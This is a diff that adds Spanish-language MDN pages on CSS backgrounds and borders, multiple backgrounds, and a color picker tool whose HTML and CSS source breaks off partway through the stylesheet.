+slug: Web/CSS/CSS_Background_and_Borders
+tags:
+  - CSS
+  - CSS Backgrounds and Borders
+  - CSS Reference
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders
+---
+<p>{{CSSRef}}</p>
+
+<p><strong>CSS Background and Borders</strong> is a module of CSS that defines how background and borders of elements are described. Borders can be lines or images, boxes can have one or multiple backgrounds, have rounded corners, and shadows.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("background")}}</li>
+ <li>{{cssxref("background-attachment")}}</li>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("border-bottom")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-collapse")}}</li>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{cssxref("border-image")}}</li>
+ <li>{{cssxref("border-image-outset")}}</li>
+ <li>{{cssxref("border-image-repeat")}}</li>
+ <li>{{cssxref("border-image-slice")}}</li>
+ <li>{{cssxref("border-image-source")}}</li>
+ <li>{{cssxref("border-image-width")}}</li>
+ <li>{{cssxref("border-left")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-radius")}}</li>
+ <li>{{cssxref("border-right")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-style")}}</li>
+ <li>{{cssxref("border-top")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("border-width")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds">Using CSS multiple backgrounds</a></dt>
+ <dd>Explains how to set backgrounds on elements and how they will interact with it.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Background_and_Borders/Scaling_background_images">Scaling background images</a></dt>
+ <dd>Describes how to change the appearance of the background images, by stretching them or repeating them, to cover the whole background of the element, or not.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds') }}</td>
+   <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>4.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html b/files/es/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html
new file mode 100644
index 0000000000..456fdd7484
--- /dev/null
+++ b/files/es/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html
@@ -0,0 +1,56 @@
+---
+title: Usando múltiples fondos con CSS
+slug: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds
+tags:
+  - CSS
+  - Ejemplo
+  - Fondos CSS
+  - Guía
+  - Intermedio
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
+---
+<p>{{CSSRef}}</p>
+
+<p><span class="seoSummary">Con <a href="/es/docs/Web/CSS/CSS3" title="CSS3">CSS3</a>, puedes aplicar <strong>múltiple fondos</strong> a los elementos. Estos se presentan uno encima del otro, poniendo el primer fondo definido hasta arriba, y el último, hasta abajo.</span> Sólo el último fondo puede incluir color de fondo.</p>
+
+<p>Especificar fondos múltiples es fácil:</p>
+
+<pre class="brush: css">.myclass {
+  background: background1, background 2, ..., backgroundN;
+}
+</pre>
+
+<p>Puedes hacerlo con la propiedad atajo {{ cssxref("background") }} y con las propiedades individuales, excepto {{ cssxref("background-color") }}. Es decir, las siguientes propiedades pueden ser especificadas como lista, una por cada fondo: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }},<code> </code>{{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En este ejemplo, tres fondos son apilados: el logo de Firefox, un <a href="/es/docs/Web/CSS/linear-gradient" title="en/CSS/-moz-linear-gradient">gradiente lineal</a>, y una imagen de burbujas:</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="multi_bg_example"&gt;&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.multi_bg_example {
+  width: 100%;
+  height: 400px;
+  background-image: url(https://mdn.mozillademos.org/files/11305/firefox.png), url(https://mdn.mozillademos.org/files/11307/bubbles.png), linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0));
+  background-repeat: no-repeat, no-repeat, no-repeat;
+  background-position: bottom right, left, right;
+  background: -moz-linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)), -webkit-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)), -ms-linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)), linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0));
+}</pre>
+
+<h2 id="Resultado">Resultado</h2>
+
+<p>(Si la imagen no aparece en CodePen, intenta con el botón TIdy en la sección de CSS)</p>
+
+<p>{{EmbedLiveSample('Example','100%','400')}}</p>
+
+<p>Como puedes ver aquí, el logo de Firefox (primero enlistado) está hasta arriba, seguido por el gradiente, que está presentado encima del fondo de burbujas. Cada subpropiedad subsecuente ({{ cssxref("background-repeat") }} y {{ cssxref("background-position") }}) aplican a los fondos correspondientes. Así, el primer valor en la lista para {{ cssxref("background-repeat") }} aplica al primer fondo (el de hasta arriba), etc.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/es/docs/CSS/Using_CSS_gradients" title="en/Using gradients">Usando gradientes con CSS</a></li>
+</ul>
diff --git a/files/es/web/css/css_colors/herramienta_para_seleccionar_color/index.html b/files/es/web/css/css_colors/herramienta_para_seleccionar_color/index.html
new file mode 100644
index 0000000000..7e7819542d
--- /dev/null
+++ b/files/es/web/css/css_colors/herramienta_para_seleccionar_color/index.html
@@ -0,0 +1,3220 @@
+---
+title: Herramienta para seleccionar color
+slug: Web/CSS/CSS_Colors/Herramienta_para_seleccionar_color
+tags:
+  - CSS
+  - Herramientas
+translation_of: Web/CSS/CSS_Colors/Color_picker_tool
+---
+<div style="display: none;">
+<h2 id="ColorPicker_Tool" name="ColorPicker_Tool">ColorPicker tool</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">    &lt;div id="container"&gt;
+        &lt;div id="palette" class="block"&gt;
+            &lt;div id="color-palette"&gt;&lt;/div&gt;
+            &lt;div id="color-info"&gt;
+                &lt;div class="title"&gt; CSS Color &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="picker" class="block"&gt;
+            &lt;div class="ui-color-picker" data-topic="picker" data-mode="HSL"&gt;&lt;/div&gt;
+            &lt;div id="picker-samples" sample-id="master"&gt;&lt;/div&gt;
+            &lt;div id="controls"&gt;
+                &lt;div id="delete"&gt;
+                    &lt;div id="trash-can"&gt;&lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div id="void-sample" class="icon"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="canvas" data-tutorial="drop"&gt;
+            &lt;div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
+                data-max="20" data-sensivity="10"&gt;&lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/*
+ * COLOR PICKER TOOL
+ */
+
+.ui-color-picker {
+	width: 420px;
+	margin: 0;
+	border: 1px solid #DDD;
+	background-color: #FFF;
+	display: table;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-color-picker .picking-area {
+	width: 198px;
+	height: 198px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: relative;
+	float: left;
+	display: table;
+}
+
+.ui-color-picker .picking-area:hover {
+	cursor: default;
+}
+
+/* HSV format - Hue-Saturation-Value(Brightness) */
+.ui-color-picker .picking-area {
+	background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
+
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+
+	background-color: #F00;
+}
+
+/* HSL format - Hue-Saturation-Lightness */
+.ui-color-picker[data-mode='HSL'] .picking-area {
+	background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background-color: #F00;
+}
+
+.ui-color-picker .picker {
+	width: 10px;
+	height: 10px;
+	border-radius: 50%;
+	border: 1px solid #FFF;
+	position: absolute;
+	top: 45%;
+	left: 45%;
+}
+
+.ui-color-picker .picker:before {
+	width: 8px;
+	height: 8px;
+	content: "";
+	position: absolute;
+	border: 1px solid #999;
+	border-radius: 50%;
+}
+
+.ui-color-picker .hue,
+.ui-color-picker .alpha {
+	width: 198px;
+	height: 28px;
+	margin: 5px;
+	border: 1px solid #FFF;
+	float: left;
+}
+
+.ui-color-picker .hue {
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+}
+
+.ui-color-picker .alpha {
+	border: 1px solid #CCC;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+}
+
+.ui-color-picker .alpha-mask {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
+}
+
+.ui-color-picker .slider-picker {
+	width: 2px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+}
+
+/* input HSV and RGB */
+
+.ui-color-picker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+.ui-color-picker .info * {
+	float: left;
+}
+
+.ui-color-picker .input {
+	width: 64px;
+	margin: 5px 2px;
+	float: left;
+}
+
+.ui-color-picker .input .name {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+.ui-color-picker .input input {
+	width: 30px;
+	height: 18px;
+	margin: 0;
+	padding: 0;
+	border: 1px solid #DDD;
+	text-align: center;
+	float: right;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+.ui-color-picker .input[data-topic="lightness"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
+	display: block;
+}
+
+.ui-color-picker .input[data-topic="alpha"] {
+	margin-top: 10px;
+	width: 93px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] &gt; .name {
+	width: 60px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] &gt; input {
+	float: right;
+}
+
+.ui-color-picker .input[data-topic="hexa"] {
+	width: auto;
+	float: right;
+	margin: 6px 8px 0 0;
+}
+
+.ui-color-picker .input[data-topic="hexa"] &gt; .name {
+	display: none;
+}
+
+.ui-color-picker .input[data-topic="hexa"] &gt; input {
+	width: 90px;
+	height: 24px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/* Preview color */
+.ui-color-picker .preview {
+	width: 95px;
+	height: 53px;
+	margin: 5px;
+	margin-top: 10px;
+	border: 1px solid #DDD;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+	float: left;
+	position: relative;
+}
+
+.ui-color-picker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	top: 0;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .preview-color {
+	width: 100%;
+	height: 100%;
+	background-color: rgba(255, 0, 0, 0.5);
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .switch_mode {
+	width: 10px;
+	height: 20px;
+	position: relative;
+	border-radius: 5px 0 0 5px;
+	border: 1px solid #DDD;
+	background-color: #EEE;
+	left: -12px;
+	top: -1px;
+	z-index: 1;
+	transition: all 0.5s;
+}
+
+.ui-color-picker .switch_mode:hover {
+	background-color: #CCC;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * COLOR PICKER TOOL
+ */
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	box-shadow: 0 0 5px 0 #999;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+
+}
+
+/**
+ * Resize Handle
+ */
+.resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+[data-resize='both']:hover {
+	cursor: nw-resize !important;
+}
+
+[data-resize='width']:hover {
+	cursor: w-resize !important;
+}
+
+[data-resize='height']:hover {
+	cursor: n-resize !important;
+}
+
+[data-hidden='true'] {
+	display: none;
+}
+
+[data-collapsed='true'] {
+	height: 0 !important;
+}
+
+.block {
+	display: table;
+}
+
+
+/**
+ * 	Container
+ */
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	display: table;
+}
+
+/**
+ * 	Picker Zone
+ */
+
+#picker {
+	padding: 10px;
+	width: 980px;
+}
+
+.ui-color-picker {
+	padding: 3px 5px;
+	float: left;
+	border-color: #FFF;
+}
+
+.ui-color-picker .switch_mode {
+	display: none;
+}
+
+.ui-color-picker .preview-color:hover {
+	cursor: move;
+}
+
+/**
+ * Picker Container
+ */
+
+#picker-samples {
+	width: 375px;
+	height: 114px;
+	max-height: 218px;
+	margin: 0 10px 0 30px;
+	overflow: hidden;
+	position: relative;
+	float: left;
+
+	transition: all 0.2s;
+}
+
+#picker-samples .sample {
+	width: 40px;
+	height: 40px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: absolute;
+	float: left;
+	transition: all 0.2s;
+}
+
+#picker-samples .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#picker-samples .sample[data-active='true'] {
+	border-color: #999;
+}
+
+#picker-samples .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#picker-samples #add-icon {
+	width: 100%;
+	height: 100%;
+	position: relative;
+	box-shadow: inset 0px 0px 2px 0px #DDD;
+}
+
+#picker-samples #add-icon:hover {
+	cursor: pointer;
+	border-color: #DDD;
+	box-shadow: inset 0px 0px 5px 0px #CCC;
+}
+
+#picker-samples #add-icon:before,
+#picker-samples #add-icon:after {
+	content: "";
+	position: absolute;
+	background-color: #EEE;
+	box-shadow: 0 0 1px 0 #EEE;
+}
+
+#picker-samples #add-icon:before {
+	width: 70%;
+	height: 16%;
+	top: 42%;
+	left: 15%;
+}
+
+#picker-samples #add-icon:after {
+	width: 16%;
+	height: 70%;
+	top: 15%;
+	left: 42%;
+}
+
+#picker-samples #add-icon:hover:before,
+#picker-samples #add-icon:hover:after {
+	background-color: #DDD;
+	box-shadow: 0 0 1px 0 #DDD;
+}
+
+/**
+ * 	Controls
+ */
+
+#controls {
+	width: 110px;
+	padding: 10px;
+	float: right;
+}
+
+#controls #picker-switch {
+	text-align: center;
+	float: left;
+}
+
+#controls .icon {
+	width: 48px;
+	height: 48px;
+	margin: 10px 0;
+	background-repeat: no-repeat;
+	background-position: center;
+	border: 1px solid #DDD;
+	display: table;
+	float: left;
+}
+
+#controls .icon:hover {
+	cursor: pointer;
+}
+
+#controls .picker-icon {
+	background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
+}
+
+#controls #void-sample {
+	margin-right: 10px;
+	background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
+	background-position: center left;
+}
+
+#controls #void-sample[data-active='true'] {
+	border-color: #CCC;
+	background-position: center right;
+}
+
+#controls .switch {
+	width: 106px;
+	padding: 1px;
+	border: 1px solid #CCC;
+	font-size: 14px;
+	text-align: center;
+	line-height: 24px;
+	overflow: hidden;
+	float: left;
+}
+
+#controls .switch:hover {
+	cursor: pointer;
+}
+
+#controls .switch &gt; * {
+	width: 50%;
+	padding: 2px 0;
+	background-color: #EEE;
+	float: left;
+}
+
+#controls .switch [data-active='true'] {
+	color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-color: #777;
+}
+
+/**
+ * 	Trash Can
+ */
+
+#delete {
+	width: 100%;
+	height: 94px;
+	background-color: #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+
+	text-align: center;
+	color: #777;
+
+	position: relative;
+	float: right;
+}
+
+#delete #trash-can {
+	width: 80%;
+	height: 80%;
+	border: 2px dashed #FFF;
+	border-radius: 5px;
+	background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
+
+	position: absolute;
+	top: 10%;
+	left: 10%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	transition: all 0.2s;
+}
+
+#delete[drag-state='enter'] {
+	background-color: #999;
+}
+
+/**
+ * 	Color Theme
+ */
+
+#color-theme {
+	margin: 0 8px 0 0;
+	border: 1px solid #EEE;
+	display: inline-block;
+	float: right;
+}
+
+#color-theme .box {
+	width: 80px;
+	height: 92px;
+	float: left;
+}
+
+/**
+ * Color info box
+ */
+#color-info {
+	width: 360px;
+	float: left;
+}
+
+#color-info .title {
+	width: 100%;
+	padding: 15px;
+	font-size: 18px;
+	text-align: center;
+	background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
+	background-repeat:no-repeat;
+	background-position: center left 30%;
+}
+
+#color-info .copy-container {
+	position: absolute;
+	top: -100%;
+}
+
+#color-info .property {
+	min-width: 280px;
+	height: 30px;
+	margin: 10px 0;
+	text-align: center;
+	line-height: 30px;
+}
+
+#color-info .property &gt; * {
+	float: left;
+}
+
+#color-info .property .type {
+	width: 60px;
+	height: 100%;
+	padding: 0 16px 0 0;
+	text-align: right;
+}
+
+#color-info .property .value {
+	width: 200px;
+	height: 100%;
+	padding: 0 10px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 16px;
+	color: #777;
+	text-align: center;
+	background-color: #FFF;
+	border: none;
+}
+
+#color-info .property .value:hover {
+	color: #37994A;
+}
+
+#color-info .property .value:hover + .copy {
+	background-position: center right;
+}
+
+#color-info .property .copy {
+	width: 24px;
+	height: 100%;
+	padding: 0 5px;
+	background-color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
+	background-repeat: no-repeat;
+	background-position: center left;
+	border-left: 1px solid #EEE;
+	text-align: right;
+	float: left;
+}
+
+#color-info .property .copy:hover {
+	background-position: center right;
+}
+
+
+/**
+ * 	Color Palette
+ */
+
+#palette {
+	width: 1000px;
+	padding: 10px 0;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	background-color: #EEE;
+	color: #777;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#color-palette {
+	width: 640px;
+	font-family: Arial, Helvetica, sans-serif;
+	color: #777;
+	float: left;
+}
+
+#color-palette .container {
+	width: 100%;
+	height: 50px;
+	line-height: 50px;
+	overflow: hidden;
+	float: left;
+	transition: all 0.5s;
+}
+
+#color-palette .container &gt; * {
+	float: left;
+}
+
+#color-palette .title {
+	width: 100px;
+	padding: 0 10px;
+	text-align: right;
+	line-height: inherit;
+}
+
+#color-palette .palette {
+	width: 456px;
+	height: 38px;
+	margin: 3px;
+	padding: 3px;
+	display: table;
+	background-color: #FFF;
+}
+
+#color-palette .palette .sample {
+	width: 30px;
+	height: 30px;
+	margin: 3px;
+	position: relative;
+	border: 1px solid #DDD;
+	float: left;
+	transition: all 0.2s;
+}
+
+#color-palette .palette .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#color-palette .controls {
+}
+
+#color-palette .controls &gt; * {
+	float: left;
+}
+
+#color-palette .controls &gt; *:hover {
+	cursor: pointer;
+}
+
+#color-palette .controls .lock {
+	width: 24px;
+	height: 24px;
+	margin: 10px;
+	padding: 3px;
+	background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
+	background-repeat: no-repeat;
+	background-position: bottom right;
+}
+
+#color-palette .controls .lock:hover {
+	/*background-image: url('images/unlocked-hover.png');*/
+	background-position: bottom left;
+}
+
+#color-palette .controls .lock[locked-state='true'] {
+	/*background-image: url('images/locked.png');*/
+	background-position: top left ;
+}
+
+#color-palette .controls .lock[locked-state='true']:hover {
+	/*background-image: url('images/lock-hover.png');*/
+	background-position: top right;
+}
+
+/**
+ * Canvas
+ */
+
+#canvas {
+	width: 100%;
+	height: 300px;
+	min-height: 250px;
+	border-top: 1px solid #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	position: relative;
+	float: left;
+}
+
+#canvas[data-tutorial='drop'] {
+	text-align: center;
+	font-size: 30px;
+	color: #777;
+}
+
+#canvas[data-tutorial='drop']:before {
+	content: "Drop colors here to compare";
+	width: 40%;
+	padding: 30px 9% 70px 11%;
+
+	background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
+	background-repeat: no-repeat;
+	background-position: left 35px top 60%;
+
+	text-align: right;
+
+	border: 3px dashed rgb(221, 221, 221);
+	border-radius: 15px;
+
+	position: absolute;
+	top: 50px;
+	left: 20%;
+}
+
+#canvas[data-tutorial='drop']:after {
+	content: "adjust, change or modify";
+	width: 40%;
+	font-size: 24px;
+	position: absolute;
+	top: 130px;
+	left: 32%;
+	z-index: 2;
+}
+
+#canvas [data-tutorial='dblclick'] {
+	background-color: #999 !important;
+}
+
+#canvas [data-tutorial='dblclick']:before {
+	content: "double click to activate";
+	width: 80px;
+	color: #FFF;
+	position: absolute;
+	top: 10%;
+	left: 20%;
+	z-index: 2;
+}
+
+#canvas .sample {
+	width: 100px;
+	height: 100px;
+	min-width: 20px;
+	min-height: 20px;
+	position: absolute;
+	border: 1px solid rgba(255, 255, 255, 0.3);
+}
+
+#canvas .sample:hover {
+	cursor: move;
+}
+
+#canvas .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#canvas .sample:hover &gt; * {
+	cursor: pointer;
+	display: block !important;
+}
+
+#canvas .sample .resize-handle {
+	display: none;
+}
+
+#canvas .sample .pick {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	left: 0;
+	display: none;
+}
+
